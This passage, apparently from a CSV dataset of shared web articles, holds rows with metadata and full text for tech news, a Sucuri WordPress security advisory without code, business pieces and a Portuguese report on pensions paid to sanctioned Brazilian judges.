that in tests, the system spotted nine out of ten hidden metallic objects. Only six in every hundred readings flagged a weapon when there was nothing. Dr Griffin says this false positive rate has been reduced to one in every 200 since the paper was written in August. The group's software has also been trained to detect concealed cars. The UCL team hopes to test its software shortly on real containers, some with small weapons deliberately hidden inside. Assuming that works, Dr Griffin plans to integrate the artificial-intelligence system into Rapiscan's scanning systems over the next few months. The team is also aiming to train the system to detect ""anomalies""-the machine-learning equivalent of a human hunch that something is not quite right about a scan. That could, for instance, be something unusual in the way things are positioned inside the container. Given enough data, the scientists reckon computers can train themselves to identify discrepancies like this. It is not just in ports where machine learning could speed up scanning. Weary travellers dragging themselves through the slow crawl of airport security could also benefit. Suitcases are smaller than containers, and their contents are more predictable, so humans are able to inspect their X-rays quickly and thoroughly (although regular rest breaks are still needed). Toby Breckon of Durham University is working on automated x-ray analysis to detect small items of the sort that might be contained in passengers' cabin and hold bags. He says his group has already had an algorithm installed in commercial scanning systems. Dr Breckon thinks intelligent scanning systems will at first operate in the background at airports, for instance rechecking bags in case human inspectors have missed something. They might also be used to flag bags that could be worth a manual inspection. In time, however, automated screening systems may go from being useful tools for human operators to outperforming them. If his team can get its hands on the large amounts of security imagery it needs to feed into its software, Dr Griffin thinks container scanning, at least, might be entirely automated. Perhaps bag-scanning at airports might go the same way. But there will still be a need for people. Someone has to be around to check inside containers and bags with suspicious contents.",en
1480620986,CONTENT SHARED,2841545035570793472,-534549863526737439,-5864197768898803455,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36",MG,BR,HTML,http://blog.trello.com/mark-a-trello-card-as-done,Mark A Trello Card As Done (And Drop The Mic On That Task),"Due date fanatics rejoice! The ability to mark a card as done is really happening. Check it out: If you add a due date to a card, once the task is completed you can now check it off on the card, changing it from a stress-inducing red to a soothing green color. Ahh, the satisfaction. This is also a helpful reference if anyone needs to look back to know exactly when a task was marked complete. But the fun doesn't stop there! When you're operating in Calendar mode, you can see which tasks were already done because they will appear in strikethrough on the calendar. At a quick glance you're now able to see what's left without getting confused. So let's break it down, traffic light style: When you add a due date to a card that is in the not-so-near future, it is there for reference on the front and back. When it is 24 hours before the due date, the due date turns a ""soft warning"" yellow. When it has reached the due date or (gasp!) the overdue date, it is an alarming red. But fear not, if the task is complete simply check it off and it's nothing but green pastures from here on out: To mark a card as done, just check the box next to the due date on the card back: That's it! Sometimes it's the little things. Love it? Tweet it! Due date fanatics rejoice! The ability to mark a @trello card as done is really happening: bit.ly/markasdone",en
1480681100,CONTENT SHARED,2171312647242674161,3609194402293569455,8544076858793020577,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,https://blog.sucuri.net/2016/12/exploited-script-wordpress-themes-send-spam.html,Exploited Script in WordPress Themes Send Spam,"As WordPress continues to grow in popularity, so does its library. New and experienced developers are creating themes and plugins - which creates diverse directories. While this is useful to the WordPress community, the nature of mass creation can account for coding errors and vulnerabilities . Even premium themes have security issues. We often find code that is developed with good intentions but without taking security measures into consideration. For that reason, many people often wonder if their site is hacked when they begin receiving complaints from their users. Email Functions Within a Theme During a routine cleanup investigation, we found an issue with a PHP script in a theme that was using mail capabilities. While many themes include email functionality, this particular one was troublesome because the script was written without any security checks or direct access prevention. Without the proper security functions in place, this script can easily be exploited to abuse features and send mass email spam. This script we identified is part of a premium WordPress theme. Here is a snippet of it (with comments removed): As you can see, it sends emails using the data provided in POST parameters. Although it is meant to work as a part of the theme, it can also easily be used as a stand-alone script, bypassing all security checks made in other theme files. Same Vulnerability, Multiple Themes Upon further investigation, we discovered that attackers have been exploiting this issue under the radar for quite a while. The lack of security checks in that particular file allows the attackers to send as many emails as they would like, only limited by the server's configurations. As we had feared, the code was not used exclusively in one theme. We found this script throughout different themes developed by the same company. The issue (located within the file functions/theme-mail.php ) can be found in old versions of the following premium themes: The consequences of using those old versions vary from having your website suspended by the hosting company or getting the mail server blacklisted. Preventing Direct Access to Files If you identify the snippet above within your theme, we highly recommend adding the following code after your opening PHP tags to prevent direct access to the file and further exploitation. If you develop themes or plugins and they include files that shouldn't be used outside of the original theme or plugin, consider using this trick to prevent direct access to the files. Protect Your Site From Poor Coding This post demonstrates just one of many security issues caused by poor coding practices. Extension developers should always remember that if their software becomes even moderately popular, hackers will immediately start looking for ways to abuse it. WordPress users should also keep these issues in mind and employ preventative measures such as a Web Application Firewall (WAF). If you're a customer using the Sucuri Firewall , you are already patched via our virtual patching engine. If you think that your site may be hacked, check out our guide on fixing hacked WordPress and, as always, please reach out directly to our team !",en
1480681523,CONTENT SHARED,3382987666565638029,3609194402293569455,8544076858793020577,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,http://spectrum.ieee.org/nanoclast/semiconductors/devices/graphenebased-antenna-still-looking-for-path-to-commercialization,Graphene-based Antenna Still Looking for Path to Commercialization,"Photo: Graphene Flagship Graphene is a pure conductor, just like a metal, which has led researchers to examine applications like antennas to see if graphene could serve as a replacement. Along this line of inquiry, researchers at the National Research Council Institute for Organic Synthesis and Photoreactivity (CNR-ISOF) in Italy, which is part of Europe's Graphene Flagship , have developed a graphene-based near-field communication (NFC) antenna . Unlike today's NFC antennas their devices are flexibile and have greater durability. These NFC antennas are a ubiquitous method for two electronic devices to transfer data to each other. Anytime you need a way to communicate a small amount of data over a relatively short distance wirelessly, a NFC antenna is probably involved. They are used in security cards, tracking of inventory and payment systems. ""A key target for modern technology is to replace metals with lighter, cheaper, less energy-consuming and better recyclable materials,"" said Vincenzo Palermo, a scientist at CNR who led the research, in a press release. ""Due to its unique combination of superior properties, graphene can be used to produce fully flexible NFC antennas."" The Graphene Flagship and its research partner CNR-ISOF are extremely keen on this technology based on the press release they put out this week. But it's not the first time they've crowed about it. They displayed presenting at mobile conferences taking place over the last year in Shanghai and Barcelona . In fact, in the video below you can see Palermo demonstrating the graphene-based NFC antenna at the Barcelona Mobile World Congress last February. The interest in this technology is not limited to just the enthusiasm of CNR-ISOF and the Graphene Flaghship. Electronics giants like STMicroelectronics and Nokia have been helping with the development of the technology. It would appear that the graphene has become of real strategic interest for Nokia, which has looked to use the material to create flexible displays and waterproof phones . Whether all this enthusiasm and corporate interest is leading to any commercial products remains unclear, and this week's latest press release clouds the issue even more. Why aren't they announcing a commercial product instead of the research, which seems to be fairly far along at this point? In fact, this week's press release serves as an invitation to more industrial partners to help in developing the technology. ""We are exhibiting at the Composite Europe 2016 to find new industrial collaboration partners to develop the graphene based NFC antennas into large-scale production,"" added Palermo in press release. Without having any answers to the question, it is easy to speculate that the cost of graphene for making NFC antennas could be prohibitively higher than the metals typically used. Whether large-scale production can lower those costs might be the big sticking point for the technology for it move forward.",en
1480684920,CONTENT SHARED,-8535131855706279960,-2525380383541287600,6516775631336210055,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.100 Safari/537.36",SP,BR,HTML,https://www.facebook.com/events/411779412499601/,Lançamento da LBI Comentada,Lançamento da Lei Brasileira da Inclusão da Pessoa com Deficiência - Comentada. Cronograma: >> 17h30 com coquetel de boas-vindas e apresentação do Dudu do Cavaco >> 18h15 lançamento da Lei Brasileira da Inclusão da Pessoa com Deficiência - Comentada e apresentação dos seus principais aspectos >> 20h30 encerramento Entrada gratuita.,pt
1480704930,CONTENT SHARED,2867605706298498445,3609194402293569455,8544076858793020577,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,http://www.digitaltrends.com/wearables/best-smart-rings/,Put a ring on it: three smart rings with plenty of beauty and brains,"While wearables such as fitness trackers and smartwatches edge their way toward the mainstream, smart rings might be next in line. These bits of connected jewelry allow consumers to control gadgets with gestures, and even check smartphone notifications from the same plot of real estate that might house a wedding ring. And while many smart rings are simply the pipe dreams of ill-faded crowdfunding projects, there are a few real offerings out there. We've put together a list highlighting the three best smart rings, all of which we've personally seen or tested in real life. All three are real products that you can buy, or pre-order, right now. More: Smarten your style with these six pieces of high-tech smart jewelry Ringly makes the best smart rings in the business. Its first offering was undeniably fashionable and incredibly smart, especially given it could alert you with customizable notifications. Its second smart ring, however, is even better. The Ringly Aries not only buzzes when you recieve notifications, but tracks your activity. Using the companion app, you can see your activity metrics and set your notification preferences. Ringly lets you decided how many buzzes you want for each type of notification and set different lights that correspond with certain alerts for more than 100 apps. The best thing about Ringly's Aries, though, is that it's absolutely gorgeous. You can choose from a variety of semi-precious gemstones and metal finishes, and Ringly offers several versions with 18K gold plating and others with a gunmetal-plated, stainless-steel finish. The bases of the gunmetal rings are paired with black onyx or tourmalated quartz stones, while the gold-plated ones come with lapis, black onyx, or rainbow moonstones. If you want to save some money - and don't care for activity tracking in your smart ring - you can always opt for the first Ringly smart ring for $125. We recommend the new one with activity tracking, however, because you get more bang for your buck. Buy one now from: Amazon Ringly The NFC Ring has been around for a while, but now, through a partnership with Visa, one version brings mobile payments to the mix. The no-frills ring looks like a simple black band that could blend in with pretty much anything. It's waterproof up to 50 meters, too, so it is fairly durable. What the NFC Ring lacks in style, it makes up for in substance. Since the ring has NFC built in, it can make mobile payments using Visa's Token Service. So just like the Apple Watch, iPhone, and some Android phones, this little ring can pay for your latte at any cafe that accepts NFC payments. The ring was handed to a select number of Olympians during the 2016 summer Olympics for testing, and is now set to launch sometime in 2017. The company also currently has a number of other rings that will allow you to unlock your Android phone, unlock smart locks, and transfer info to other NFC-enabled devices. Nonetheless, we would hold out for the Visa model that can do payments. Pre-order now from: Amazon NFC Ring The Oura Ring is another futuristic-looking smart ring with special powers. Like any fitness tracker, the Oura counts steps, tracks calories burned, and alerts you if you're sitting still for too long. You can also set daily targets using the company's official mobile app, so you can better meet your activity goals. The ring keeps tabs on your rest habits at night by measuring your heart rate, breathing, body temperature, and movement. It'll automatically detect when you're sleeping, monitor light and deep stages, and notice when you wake up at night. Based on aforementioned data, the Oura calculates a ""Readiness Score"" to determine how prepared you are to tackle various situations in life, based on projected stress levels and your overall wellness. The ring comes in Mirror Black, Arctic White, and Stealth Black. It's also water-resistant and last three days on a single charge. It's not cheap, but at least it's now shipping, so you can get it on your finger soon. Buy one now from: Oura",en
1480857944,CONTENT SHARED,-3951274083288934897,5598537709124463353,-9109091899018490068,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.59 Safari/537.36",SP,BR,HTML,https://hbr.org/2016/12/digital-leadership-is-not-an-optional-part-of-being-a-ceo?referral=00563&cm_mmc=email-_-newsletter-_-daily_alert-_-alert_date&utm_source=newsletter_daily_alert&utm_medium=email&utm_campaign=alert_date&spMailingID=16028503&spUserID=MzU4OTY4Nzc2NjIS1&spJobID=920098781&spReportId=OTIwMDk4NzgxS0,Digital Leadership Is Not an Optional Part of Being a CEO,"Being a CEO is harder than ever. The rapid pace of change in business and technology means that more and more companies will find themselves being disrupted. In fact, our latest research with MIT , in which we interviewed more than 1,000 CEOs (from 131 countries and 27 industries, in organizations of varying sizes), shows that 90% of executives believe their businesses are being disrupted or reinvented by digital business models, and 70% believe they do not have the right skills, leader, or operating structure to adapt. It's not a good position to be in. What's a CEO to do? Should you hire a chief digital officer? Should you replace your executives with leaders from internet companies? Should you force everyone to learn about mobile computing and digital business models? While these are all sound ideas, our research shows that something more fundamental is at play. Companies that rapidly adapt to digital business models don't just ""do digital""; they ""act digital."" In other words, they practice an entirely new model of management. And their CEOs are leading the charge. What does digital leadership look like in this sense? Our research, which we call the ""digital DNA,"" identified 23 new management practices CEOs should consider, focusing on empowerment, experimentation, collaboration, data, and speed. Digital leaders create small, highly empowered teams. They trust these teams to perform, and they hold them accountable for customer impact. They build real-time information systems to support decision making, and they expect these teams to start small, iterate, experiment, and adapt. They look at their business as platforms, not just as products and services. And they design the platform around systems that can be extended, that can adapt, and that can deliver real-time information to managers at all levels. Here's an example to put this into context. One large media organization faces large incumbent players and operates in a market that is growing quickly. Rather than using traditional top-down management practices, the company organized itself into small business units, each of which operates in a local geography. Geographic business units are responsible for hiring the right people, selling their products, and provisioning new customers. They know the local market, promote their offerings in the community, and often serve as community leaders. They are given tremendous local responsibility, and many of their local leaders come from outside the industry. To support this decentralized, empowered organization, the company built a real-time, mobile-enabled information platform. Everything this company does, from hiring to customer acquisitions to service to employee engagement, is done through mobile apps. District managers and leaders in headquarters can monitor hiring, customer growth, employee satisfaction, and customer satisfaction in real time. So while these small teams are highly empowered, they are also highly accountable. To promote innovation and local service, the company hires people with entrepreneurial backgrounds and gives them freedom to design promotions, sales programs, and marketing events however they like. The teams share information widely through the company's video communication network, and everyone in the company uses standard mobile apps to communicate. What's unique about this company's leadership? Leaders are intimately involved in the architecture, culture, and metrics of the company, hiring people who can innovate and grow a business and holding them accountable with a minimum of midlevel management. The senior leadership team meets often to look at metrics and trends. One of the keys to this kind of digital leadership is an ability to morph the company as the business changes. We call this operating structure the ""network of teams."" Rather than operating through a traditional hierarchy, the company looks at each geographic unit as a small ""reseller."" Corporate functions operate like shared services to provide scalable programs, but people do what they need to succeed. If a business needs help in recruiting, customer service, marketing, training, or other areas, the company restructures its local organization to provide support. Goals and metrics are local and shared, so people are incentivized to work together toward the company's overall objectives. As we've studied digital leadership over the last few years, we find something else important: Culture is key. Success is largely dependent on people sharing information with each other, partnering, and continuously educating themselves. This is able to happen when you build a collective, transparent, and deeply shared culture. CEOs who are digital leaders are continuously reinforcing the culture, communicating values, and aligning people around the culture whenever something goes wrong. Being a CEO is a tough job. You have many stakeholders, continuous challenges, and a wide range of things to think about. And the idea of the CEO as ""boss"" no longer applies. Instead, the most effective CEOs will need to start thinking of themselves as digital leaders. It's your job to push the organization to stay focused, to experiment, to innovate, and to scale through standard platforms. These principles are fundamental to success in the disruptive years ahead.",en
1480935120,CONTENT SHARED,1450769039556893440,3061273947166110301,6456102099063356682,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36",SP,BR,HTML,https://arxiv.org/abs/1612.00380,[1612.00380] Playing Doom with SLAM-Augmented Deep Reinforcement Learning,"Abstract: A number of recent approaches to policy learning in 2D game domains have been successful going directly from raw input images to actions. However when employed in complex 3D environments, they typically suffer from challenges related to partial observability, combinatorial exploration spaces, path planning, and a scarcity of rewarding scenarios.",en
1480941969,CONTENT SHARED,4169374063813159761,2612012348742830907,-2359713986954060163,"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",SP,BR,HTML,http://noticias.uol.com.br/politica/ultimas-noticias/2016/12/05/brasil-gasta-r-164-mi-ao-ano-com-aposentadorias-de-juizes-condenados-pelo-cnj.htm,"Brasil gasta R$ 16,4 mi ao ano com aposentadorias de juízes condenados pelo CNJ","iStock Uso do cargo para beneficiar loja maçônica, vendas de sentenças, relações pessoais com traficantes e assédio sexual a servidoras de tribunais. É grande a lista de crimes cometidos por juízes e desembargadores em todo o país que levou o CNJ (Conselho Nacional de Justiça) a determinar a aposentadoria compulsória de 48 magistrados desde 2008. A punição por aposentadoria compulsória custa aos cofres públicos anualmente R$ 16,4 milhões em pensões vitalícias e valores brutos, conforme levantamento inédito feito pelo UOL . O montante gasto com os 48 magistrados condenados pelo CNJ daria para pagar com folga durante três anos os salários dos 11 ministros do STF (Supremo Tribunal Federal). Eles custam, juntos, cerca de R$ 5 milhões por ano entre vencimentos e impostos. Em valores líquidos, após o desconto de impostos, a folha salarial dos ministros cai para R$ 3,2 milhões por ano. A remuneração dos magistrados punidos pelo CNJ fica em R$ 11,85 milhões anuais. O valor médio recebido anualmente por juiz ou desembargador condenado com a aposentadoria compulsória varia de R$ 237 mil a R$ 329 mil, conforme a diferença entre vencimentos líquido e bruto. Os valores mensais foram multiplicados por 13 meses para chegar ao total anual, considerando o 13º salário. Os dados foram coletados pelo UOL nos sites de transparência dos tribunais brasileiros e, em alguns casos, em valores informados pelas assessorias de imprensa dos órgãos judiciários. Duas resoluções do CNJ determinam total transparência na folha de pagamentos dos tribunais. Mas nem todos cumprem a determinação. Os Tribunais de Justiça da Paraíba e do Rio de Janeiro não disponibilizam os dados. A reportagem procurou as assessorias para acessar os números, mas não obteve resposta. Uma servidora que pediu para não ser identificada disse que foi ""repreendida"" por solicitar os dados internamente. Para o ex-corregedor do CNJ Gilson Dipp, a dificuldade em ter acesso a informações que deveriam ser públicas ocorre porque ""a Justiça não tem muita transparência"". Alan Marques/Folhapress 'Disparate' O período de Dipp à frente da corregedoria nacional, entre os meses de setembro de 2008 e 2010, foi o de maior punição de magistrados. Ele participou de 18 afastamentos compulsórios, incluindo o do ex-ministro do STJ (Superior Tribunal de Justiça) Paulo Medina por venda de sentenças para beneficiar empresários de bingos ilegais. Dipp, que foi também ministro do STJ, considera o montante pago a magistrados afastados por atos ilícitos um ""disparate"" que contribui para reforçar na sociedade o sentimento de que a aposentadoria compulsória é um ""prêmio"" a corruptos. Já o presidente da AMB (Associação dos Magistrados Brasileiros), João Ricardo Costa, defende a manutenção das aposentadorias. ""Essa regra traz muito mais ganhos para a sociedade do que fatos isolados que nós temos no país"", diz. A sociedade não perdoa juiz corrupto. É repugnante até para quem corrompe Eliana Calmon, ex-presidente do CNJ A aposentadoria compulsória é a pena máxima prevista na Loman (Lei Orgânica da Magistratura Nacional), criada em 1979 e incorporada pela Constituição de 1988. É uma medida administrativa, sem efeito penal imediato, e o pagamento só pode ser suspenso caso o magistrado seja condenado pela Justiça comum. Embora desde 2012 o STF tenha decidido que magistrados aposentados não têm direito a foro privilegiado, a condenação no CNJ não gera uma ação penal automaticamente. É preciso que o Ministério Público, um tribunal ou mesmo um cidadão acione a Justiça para investigar o magistrado fora do âmbito administrativo. No geral, os casos envolvendo juízes e desembargadores caem no esquecimento após sair do CNJ. Costa avalia que a punição administrativa é importante para evitar que os magistrados fiquem à mercê de pressões políticas e econômicas locais, uma vez que as investigações começam nos tribunais espalhados pelo país antes de chegar ao CNJ. O dirigente da AMB cita um caso no Acre, onde um juiz endureceu nas decisões contra nepotismo e sofreu retaliações. ""A punição administrativa é feita pela administração do tribunal, que pode ser pressionada pelo poder político local, pelo governo do Estado etc. Por isso tem toda uma justificativa para que o juiz não seja demitido pelo processo administrativo"", diz. Dipp sugere uma revisão na legislação para suspender os pagamentos em casos mais graves, como a venda de sentença. ""O desejável é que não houvesse nenhum benefício [como a aposentadoria compulsória após comprovação de ilicitudes]. Isso é terrível, mas está previsto na lei. O Judiciário tem vantagens [financeiras] decorrentes de leis ou de decisões judiciais que não deveriam existir"", afirma. O dirigente da AMB defende uma reforma no sistema recursal, que permite um número elevado ações para protelar decisões definitivas. ""O problema todo é que temos um sistema processual em que os processos não terminam nunca, principalmente em situações que envolvem agentes políticos, grandes empresários e também a magistratura"", diz. Elza Fiúza/Agência Brasil 'Bandidos de toga' A venda de sentença é a principal causa de afastamento de magistrados pelo CNJ, que inclusive já condenou três vezes o mesmo desembargador pelo crime. Autora da expressão ""bandidos de toga"" para se referir aos magistrados corruptos, a ex-corregedora do CNJ e ex-ministra do STJ Eliana Calmon diz que pouca coisa mudou desde quando fez a afirmação, quando comandava a apuração de infrações cometidas por magistrados entre 2010 e 2012. ""A sociedade não perdoa juiz corrupto. É repugnante até para quem corrompe"", afirma. Para Eliana Calmon, é preciso mudar a Lei Orgânica da Magistratura Nacional para haver mais rigor na punição de ilegalidades praticadas por juízes e desembargadores. ""É necessário separar as maçãs podres para fortalecer o Judiciário com ainda mais credibilidade popular, como vem acontecendo depois da Lava Jato. Isso não exclui os juízes corruptos que se escondem, se protegem por detrás das garantias da magistratura. Este foi o sentido da frase que cunhei ao me referir aos bandidos de toga"", recomenda. A revisão da Loman, contudo, ganhou os holofotes recentemente depois que o presidente do Senado, Renan Calheiros (PMDB-AL), pediu ao presidente da Câmara, Rodrigo Maia (DEM-RJ), para ""agilizar"" a votação da proposta de emenda constitucional (PEC 53/2011). Marcos Corrêa/Presidência Temer (ao centro) faz reunião com Cármen Lúcia e Renan Calheiros após pressão no Congresso para mudar lei que permite demissão de magistrado A emenda foi aprovada no Senado em 2013, prevendo a cassação dos vencimentos de magistrados condenados pelo CNJ ao criar a possibilidade de ""demissão"" no âmbito da magistratura. O texto dormitava nos escaninhos da Câmara, mas ressurgiu com a eclosão da Operação Lava Jato. Renan defendeu a PEC como ""uma medida fundamental de combate à corrupção e à impunidade"" dos magistrados e para acabar com o ""prêmio"" representado pela ""aposentadoria por juiz e membro do Ministério Público"" que cometeram crimes. Dipp avalia que a iniciativa do Congresso fere a Constituição, uma vez que esta define o STF como órgão que deva sugerir um projeto de lei regulamentando uma nova Loman. Na madrugada do dia 30, deputados federais aprovaram o texto-base do pacote de medidas anticorrupção proposto pelo Ministério Público . Com os novos tópicos apresentados e a derrubada de outros tantos, o projeto ficou desfigurado e foi criticado por várias instâncias do Judiciário, como a Procuradoria-Geral da República e a presidente do STF . Ele prevê punição a magistrados por abuso de autoridade . O Poder Judiciário não está nem além nem aquém de qualquer outro sacrifício que o povo brasileiro e as instituições venham a passar Gilson Dipp, ex-ministro do STJ e ex-corregedor do CNJ Mas o ex-corregedor do CNJ critica a demora do STF em propor a lei. Nas contas de Dipp, o Supremo discute o tema internamente há mais de 15 anos. ""Acho que o Judiciário já deveria ter ditado a adequação da nova Loman, consentânea com os tempos atuais. A Loman atual é antiquada e de certa maneira é corporativista"", avalia. Eliana Calmon também defende mudanças, ressaltando que há casos em que a aposentadoria compulsória é uma boa medida para servidores públicos em geral, inclusive no Judiciário. ""É imprescindível que se façam correções na Loman"", diz. A ex-ministra do STJ sugere uma nova legislação que crie multas para infrações menores, exija o ressarcimento de dinheiro público desviado e suspenda o direito de magistrados voltarem por novo concurso. ""Conheço juiz aposentado compulsoriamente por corrupção e que prestou novo concurso. Era juiz estadual e, após a punição administrativa, fez concurso para juiz federal. Se houvesse impedimento legal, ele não mais poderia fazer concurso, pelo menos para a magistratura"", conta. Penduricalhos A folha de pagamento com os compulsórios pode ser ainda maior se considerar gratificações e indenizações pagas pelos tribunais regionais. São os chamados ""penduricalhos"". O Tribunal de Justiça do Amazonas pagou neste ano, por exemplo, de R$ 10 mil a R$ 18 mil a cada um de quatro juízes aposentados por decisão do CNJ. Os valores aparecem na folha de pagamento apenas como ""vantagens pessoais"". A situação permite a um ex-desembargador do TJ-AM ampliar substancialmente os seus vencimentos. O salário fixo dele é de R$ 30.471,11 por mês, mas, com o recebimento nos últimos meses de R$ 10 mil como ""gratificação"", o ganho mensal sobe para R$ 38.261,05. Em maio deste ano, ele recebeu R$ 15,8 mil em gratificação, que, somados à parcela do 13º, fizeram sua renda líquida atingir R$ 46.404,63. Em resposta, o TJ-AM disse ""que o valor de R$ 15.788,49 corresponde à Parcela Autônoma de Equivalência, no montante de R$ 10 mil, paga em cumprimento à decisão judicial, assim como acontece em todos os tribunais do país, devida aos magistrados ativos e inativos; e o valor de R$ 5.788,49, concedido por decisão administrativa que corresponde a uma diferença de subsídio do ano de 2005 autorizada pela Lei 3.506/2010, de 17/05/2010, cujo término do pagamento se deu em junho de 2016"". São esses penduricalhos nos salários que fazem o Judiciário pagar, em muitos casos, mais que o teto permitido pela Constituição, que é o vencimento bruto de ministro do STF: R$ 33.763. Dipp afirma que ""tem certos benefícios que não podem ser recebidos pelos aposentados, mas vários tribunais estão pagando"". O Tribunal de Justiça do Estado de Santa Catarina (TJ-SC) reforçou, em agosto, por exemplo, o contracheque de um ex-desembargador com bonificação de R$ 11.516,34. Foi o repasse da Parcela Autônoma de Equivalência (PAE), concedido pelo órgão catarinense a seus magistrados para corrigir perda salarial com a URV (Unidade Real de Valor), adotada em 1994 para fazer a transição do cruzeiro para o real. Ele foi afastado pelo CNJ em junho de 2014. Ele perdeu o cargo por não denunciar a exploração sexual de uma adolescente. A Polícia Federal identificou que ele sabia de relações de um amigo com uma garota de programa de 16 anos. O ex-magistrado catarinense recebe mais de R$ 22,5 mil líquidos como aposentadoria, mas custa mais de R$ 30,3 mil ao TJ-SC, entre vencimento e impostos. Ele recebe mensalmente outros R$ 300 como auxílio-saúde. Em nota, o TJ-SC confirmou o benefício da ""restituição de contribuição do Instituto de Previdência de Santa Catarina, cobrado de forma equivocada em relação aos magistrados, e naquele instante [agosto] recomposto ao patrimônio dos anteriormente prejudicados, em conformidade com a legislação vigente"". Para o ex-corregedor do CNJ, a crise econômica impõe mais rigor ao Judiciário com esse tipo de ""penduricalho"" e deveria partir do STF a revisão dos benefícios. ""O ajuste fiscal [conduzido pelo governo federal], não importa quem seja o causador, deve corresponder a todo o serviço público."" O presidente da AMB defende um enxugamento nos benefícios dos magistrados. Ele avalia que o ideal é uma combinação de salário mais o adicional por tempo de serviço, que englobaria o auxílio moradia pago hoje a magistrados da ativa. ""O que queremos é uma política mais estável para a magistratura. O Congresso entende isso, mas não se direciona para criar essa estrutura legal"", diz João Ricardo Costa. Obrigado pela sua inscrição",pt
1480942004,CONTENT REMOVED,4169374063813159761,2612012348742830907,-2359713986954060163,"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",SP,BR,HTML,http://noticias.uol.com.br/politica/ultimas-noticias/2016/12/05/brasil-gasta-r-164-mi-ao-ano-com-aposentadorias-de-juizes-condenados-pelo-cnj.htm,"Brasil gasta R$ 16,4 mi ao ano com aposentadorias de juízes condenados pelo CNJ","iStock Uso do cargo para beneficiar loja maçônica, vendas de sentenças, relações pessoais com traficantes e assédio sexual a servidoras de tribunais. É grande a lista de crimes cometidos por juízes e desembargadores em todo o país que levou o CNJ (Conselho Nacional de Justiça) a determinar a aposentadoria compulsória de 48 magistrados desde 2008. A punição por aposentadoria compulsória custa aos cofres públicos anualmente R$ 16,4 milhões em pensões vitalícias e valores brutos, conforme levantamento inédito feito pelo UOL . O montante gasto com os 48 magistrados condenados pelo CNJ daria para pagar com folga durante três anos os salários dos 11 ministros do STF (Supremo Tribunal Federal). Eles custam, juntos, cerca de R$ 5 milhões por ano entre vencimentos e impostos. Em valores líquidos, após o desconto de impostos, a folha salarial dos ministros cai para R$ 3,2 milhões por ano. A remuneração dos magistrados punidos pelo CNJ fica em R$ 11,85 milhões anuais. O valor médio recebido anualmente por juiz ou desembargador condenado com a aposentadoria compulsória varia de R$ 237 mil a R$ 329 mil, conforme a diferença entre vencimentos líquido e bruto. Os valores mensais foram multiplicados por 13 meses para chegar ao total anual, considerando o 13º salário. Os dados foram coletados pelo UOL nos sites de transparência dos tribunais brasileiros e, em alguns casos, em valores informados pelas assessorias de imprensa dos órgãos judiciários. Duas resoluções do CNJ determinam total transparência na folha de pagamentos dos tribunais. Mas nem todos cumprem a determinação. Os Tribunais de Justiça da Paraíba e do Rio de Janeiro não disponibilizam os dados. A reportagem procurou as assessorias para acessar os números, mas não obteve resposta. Uma servidora que pediu para não ser identificada disse que foi ""repreendida"" por solicitar os dados internamente. Para o ex-corregedor do CNJ Gilson Dipp, a dificuldade em ter acesso a informações que deveriam ser públicas ocorre porque ""a Justiça não tem muita transparência"". Alan Marques/Folhapress 'Disparate' O período de Dipp à frente da corregedoria nacional, entre os meses de setembro de 2008 e 2010, foi o de maior punição de magistrados. Ele participou de 18 afastamentos compulsórios, incluindo o do ex-ministro do STJ (Superior Tribunal de Justiça) Paulo Medina por venda de sentenças para beneficiar empresários de bingos ilegais. Dipp, que foi também ministro do STJ, considera o montante pago a magistrados afastados por atos ilícitos um ""disparate"" que contribui para reforçar na sociedade o sentimento de que a aposentadoria compulsória é um ""prêmio"" a corruptos. Já o presidente da AMB (Associação dos Magistrados Brasileiros), João Ricardo Costa, defende a manutenção das aposentadorias. ""Essa regra traz muito mais ganhos para a sociedade do que fatos isolados que nós temos no país"", diz. A sociedade não perdoa juiz corrupto. É repugnante até para quem corrompe Eliana Calmon, ex-presidente do CNJ A aposentadoria compulsória é a pena máxima prevista na Loman (Lei Orgânica da Magistratura Nacional), criada em 1979 e incorporada pela Constituição de 1988. É uma medida administrativa, sem efeito penal imediato, e o pagamento só pode ser suspenso caso o magistrado seja condenado pela Justiça comum. Embora desde 2012 o STF tenha decidido que magistrados aposentados não têm direito a foro privilegiado, a condenação no CNJ não gera uma ação penal automaticamente. É preciso que o Ministério Público, um tribunal ou mesmo um cidadão acione a Justiça para investigar o magistrado fora do âmbito administrativo. No geral, os casos envolvendo juízes e desembargadores caem no esquecimento após sair do CNJ. Costa avalia que a punição administrativa é importante para evitar que os magistrados fiquem à mercê de pressões políticas e econômicas locais, uma vez que as investigações começam nos tribunais espalhados pelo país antes de chegar ao CNJ. O dirigente da AMB cita um caso no Acre, onde um juiz endureceu nas decisões contra nepotismo e sofreu retaliações. ""A punição administrativa é feita pela administração do tribunal, que pode ser pressionada pelo poder político local, pelo governo do Estado etc. Por isso tem toda uma justificativa para que o juiz não seja demitido pelo processo administrativo"", diz. Dipp sugere uma revisão na legislação para suspender os pagamentos em casos mais graves, como a venda de sentença. ""O desejável é que não houvesse nenhum benefício [como a aposentadoria compulsória após comprovação de ilicitudes]. Isso é terrível, mas está previsto na lei. O Judiciário tem vantagens [financeiras] decorrentes de leis ou de decisões judiciais que não deveriam existir"", afirma. O dirigente da AMB defende uma reforma no sistema recursal, que permite um número elevado ações para protelar decisões definitivas. ""O problema todo é que temos um sistema processual em que os processos não terminam nunca, principalmente em situações que envolvem agentes políticos, grandes empresários e também a magistratura"", diz. Elza Fiúza/Agência Brasil 